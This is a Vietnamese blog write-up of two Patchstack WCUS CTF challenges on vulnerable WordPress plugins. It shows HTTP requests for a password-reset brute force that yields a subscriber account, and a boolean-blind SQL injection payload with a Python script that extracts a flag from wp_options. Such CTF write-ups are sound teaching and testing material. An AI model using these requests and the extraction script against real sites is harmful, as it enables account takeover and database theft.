- vừa được xem lúc

Writeup Patchstack WCUS CTF

0 0 5

Người đăng: Minh Tuấn Ngụy

Theo Viblo Asia

Trong thời gian gần đây, Patchstack đã tổ chức cuộc thi Patchstack WCUS CTF, bao gồm 9 thử thách (challenge), tất cả đều tập trung vào việc khai thác các lỗ hổng bảo mật trong các plugin WordPress. Sau đây là một số writeup về các thử thách đó.

Tất cả các challenge đều được cung cấp dưới dạng whitebox.

WP Elevator

Trong challenge này, đề bài cung cấp cho chúng ta một plugin WordPress. Nhiệm vụ của chúng ta là gọi đúng endpoint để lấy được flag.

add_action("wp_ajax_patchstack_flagger", "flagger_request_callback"); function flagger_request_callback()
{ // Validate nonce $nonce = isset($_REQUEST["nonce"]) ? sanitize_text_field($_REQUEST["nonce"]) : ""; if (!wp_verify_nonce($nonce, "get_latest_posts_nonce")) { wp_send_json_error("Invalid nonce."); return; } $user = wp_get_current_user(); $allowed_roles = ["administrator", "subscriber"]; if (array_intersect($allowed_roles, $user->roles)) { $value = file_get_contents('/flag.txt'); wp_send_json_success(["value" => $value]); } else { wp_send_json_error("Missing permission."); }
}

Vậy, chỉ cần chúng ta có được role administrator hoặc subscriber, chúng ta sẽ nhận được flag.

Nhưng làm thế nào để có thể đăng ký một tài khoản subscriber? Trong mã nguồn, có một đoạn code cho phép tạo người dùng mới với role subscriber.

function create_user_via_api($request)
{ $parameters = $request->get_json_params(); $username = sanitize_text_field($parameters["username"]); $email = sanitize_email($parameters["email"]); $password = wp_generate_password(); // Create user $user_id = wp_create_user($username, $password, $email); if (is_wp_error($user_id)) { return new WP_Error( "user_creation_failed", __("User creation failed.", "text_domain"), ["status" => 500] ); } // Add user role $user = new WP_User($user_id); $user->set_role("subscriber"); return [ "message" => __("User created successfully.", "text_domain"), "user_id" => $user_id, ];
}

Yêu cầu POST để tạo tài khoản mới:

POST /wp-json/user/v1/create HTTP/1.1
Content-Type: application/json { "username": "newuser", "email": "newuser@example.com"
}

Tuy nhiên, khi tạo người dùng mới, chỉ có usernameemail được truyền đi, mà không có mật khẩu để đăng nhập. Plugin này còn cung cấp một tính năng khác là reset_password_key_callback(), cho phép yêu cầu reset mật khẩu cho bất kỳ tài khoản nào. Chúng ta có thể sử dụng $key được tạo từ get_password_reset_key2() để thực hiện việc reset mật khẩu.

Request yêu cầu reset password:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 action=reset_key&user_id=71

Tuy nhiên, $key được tạo ra chỉ có 1 ký tự duy nhất, điều này cho phép chúng ta brute force key để reset mật khẩu cho tài khoản subscriber vừa tạo.

$key = wp_generate_password(1, false);

Do môi trường của tôi không được cấu hình server mail, nên tôi gặp khó khăn trong việc xác định chính xác endpoint để reset mật khẩu bằng key. Sau khi tham khảo ChatGPT, tôi đã nhận được câu trả lời như sau:

Tôi đã thử sử dụng endpoint này để reset mật khẩu cho tài khoản subscriber.Tuy nhiên, sau đó tôi phát hiện ra một endpoint tốt hơn để thực hiện việc này.

POST /wp-login.php?action=resetpass HTTP/1.1
Content-Type: application/x-www-form-urlencoded pass1=123&pw_weak=on&pass2=123&rp_key=R&wp-submit=Save+Password

Sau khi reset thành công và có được tài khoản subscriber, tôi tiếp tục gửi yêu cầu đến hàm get_latest_posts_callback để lấy giá trị nonce:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: <subcriber> action=get_latest_posts_callback

Khi đã có nonce, tôi chỉ cần gửi yêu cầu tới flagger_request_callback() và truyền giá trị nonce đó để nhận flag:

POST /wp-admin/admin-ajax.php HTTP/1.1
Cookie: <subcriber>
Content-Type: application/x-www-form-urlencoded action=patchstack_flagger&nonce=b920667f1a

Link Manager

Đập vào mắt đầu tiên là đoạn code dễ dàng bị khai thác SQL Injection tại:

function get_link_data() { global $wpdb; $table_name = $wpdb->prefix . 'links'; $link_name = sanitize_text_field($_POST['link_name']); $order = sanitize_text_field($_POST['order']); $orderby = sanitize_text_field($_POST['orderby']); validate_order($order); validate_order_by($orderby); $results = $wpdb->get_results("SELECT * FROM wp_links where link_name = '$link_name' order by $orderby $order"); if (!empty($results)) { wp_send_json_success($results); } else { wp_send_json_error('No data found.'); }
}

Mặc dù có đoạn validate dữ liệu truyền vào, nhưng nó chỉ để đánh lừa và không thực sự ngăn chặn được SQL Injection. Chúng ta vẫn có thể khai thác lỗ hổng qua biến $orderby $order.

Để khai thác được lỗ hổng này, trước tiên cần thêm dữ liệu vào mà không cần xác thực thông qua hook sau:

add_action( 'wp_ajax_nopriv_submit_link', 'handle_ajax_link_submission' );

Chúng ta có thể gửi yêu cầu thêm dữ liệu và lấy giá trị nonce từ trang chủ, thông qua biến var ajaxNonce = 'bb01b00013';:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded action=submit_link&url=http://example.com&name=test&description=test&nonce=bb01b00013

Khai thác SQL Injection

Trong đoạn truy vấn SQL sau:

$results = $wpdb->get_results("SELECT * FROM wp_links where link_name = '$link_name' order by $orderby $order");

Chúng ta có thể khai thác SQL Injection qua order by, nhưng do response không hiển thị lỗi nên không thể sử dụng kỹ thuật error-based SQLi. Thay vào đó, có hai cách khai thác: time-based blind SQL Injection hoặc boolean-based blind SQL Injection.

Tôi đã chọn cách khai thác bằng boolean-based blind SQL Injection vì cách này nhanh hơn cho brute force. Payload sử dụng có dạng (cảm ơn người anh homie đã chia sẻ payload này):

(SELECT (CASE WHEN (1=1) THEN 1 ELSE 6096*(SELECT 6096 FROM information_schema.tables) END))

Chỉ cần thay phần 1=1 bằng các điều kiện boolean hoặc time-based khác là được. Tôi đã chọn sử dụng boolean-based vì nó hiệu quả hơn trong trường hợp này.

Lưu ý: Công cụ sqlmap không thể khai thác lỗ hổng này do hạn chế trong việc gửi payload. Nếu có cách sử dụng tốt hơn, các bạn đọc có thể gợi ý thêm nhé. Vì không thể khai thác tự động bằng công cụ, tôi đành phải "manual" 😥.

Trong quá trình khai thác, tôi gặp hai vấn đề lớn:

  1. Không thể sử dụng dấu '.
  2. Không thể so sánh chuỗi.

Nguyên nhân không sử dụng được dấu ' là do tính năng Addslashes của WordPress mà tôi đã trình bày trong bài viết trước. Việc này cũng khiến không thể so sánh chuỗi một cách thông thường.

Giải pháp thay thế là sử dụng các hàm số để so sánh. Tôi chuyển qua so sánh bằng số và sử dụng hàm ASCII() để chuyển đổi ký tự sang mã số, đồng thời sử dụng hàm CHAR() để lấy tên cột. Flag của challenge này nằm trong bảng wp_options với tên cột là flag_links_data.

Với sự hỗ trợ của ChatGPT, tôi đã viết một script để khai thác lỗ hổng này:

import requests
import string url = 'http://100.25.255.51:9097/wp-admin/admin-ajax.php'
target_table = '' def test_sqli(payload): data = { 'action': 'get_link_data', 'link_name': 'test', 'order': '', 'orderby': payload } headers = { 'Content-Type': 'application/x-www-form-urlencoded' } response = requests.post(url, data=data, headers=headers) try: result = response.json() if result.get('success') == False: return False return True except ValueError: return False def brute_force_flag_links_data(): flag_value = '' char_set = string.ascii_letters + string.digits + string.punctuation while True: found = False for char in range(32, 127): payload = f"(SELECT (CASE WHEN (SELECT ASCII(SUBSTRING(option_value,{len(flag_value)+1},1)) FROM wordpress.wp_options WHERE option_name=CHAR(102,108,97,103,95,108,105,110,107,115,95,100,97,116,97)) = {char} THEN 1 ELSE 6096*(SELECT 6096 FROM information_schema.tables) END))" if test_sqli(payload): flag_value += chr(char) print(f"Đã tìm thấy: {flag_value}") found = True break if not found: break print(f"Giá trị flag_links_data là: {flag_value}")
brute_force_flag_links_data()

Bình luận

Bài viết tương tự

- vừa được xem lúc

Code sạch, Code dễ phát triển,... Lập trình viên đã biết về Code an toàn chưa??? (Phần 2)

. Như đã hứa ở cuối phần 1 thì trong phần 2 này mình sẽ nói về các lỗ hổng: PHP Type Juggling, Hard Coded, Xử lý dữ liệu quan trọng tại Client side, Sử dụng bộ sinh số ngẫu nhiên không an toàn,... Giờ thì tiếp tục với Secure Coding thôi . 3. PHP Type Junggling. Lỗ hổng typle junggling xảy ra do PHP

0 0 48

- vừa được xem lúc

Code sạch, Code dễ phát triển,... Lập trình viên đã biết về Code an toàn chưa??? (Phần 1)

. Văn vẻ mở đầu. Chắc hẳn các bạn sinh viên khi học các môn lập trình trên trường đều ít nhiều được nghe đến khái niệm Code sạch - Clean code: là cách đặt tên biến, tên hàm; cách code sao cho dễ đọc, đễ hiểu.

0 0 42

- vừa được xem lúc

[Write-up] Intigriti's December XSS Challenge 2020

Giới thiệu. Gần đây mình có làm thử một bài CTF về XSS của Intigriti (platform bug bounty của châu Âu) và nhờ có sự trợ giúp của những người bạn cực kỳ bá đạo, cuối cùng mình cũng hoàn thành được challenge.

0 0 47

- vừa được xem lúc

Java deserialization - Write up MatesCTF 2018 WutFaces

Mở đầu. Bài ctf này là 1 bài rất hay về lỗ hổng java deserialization mà các bạn muốn tìm hiểu về lỗ hổng này nên làm.

0 0 161

- vừa được xem lúc

Code sạch, Code dễ phát triển,... Lập trình viên đã biết về Code an toàn chưa??? (Phần 3)

Chắc hẳn sau phần 1 và phần 2 thì mọi người đã hiểu được mức độ quan trọng của việc đảm bảo an toàn cho sản phẩm ngay từ khi thiết kế và lập trình rồi. Ở phần 3 này, chúng ta sẽ tìm hiểu về 1 lỗ hổng

0 0 49

- vừa được xem lúc

Lần này vẫn có source code, nhưng hack thì dễ hơn

Bài trước (Đây là bài trước: https://viblo.asia/p/khi-co-source-code-roi-thi-hack-co-de-khong-maGK7G8AKj2), mình có đưa một câu hỏi là Khi có source code rồi thì hack có dễ không?.

0 0 57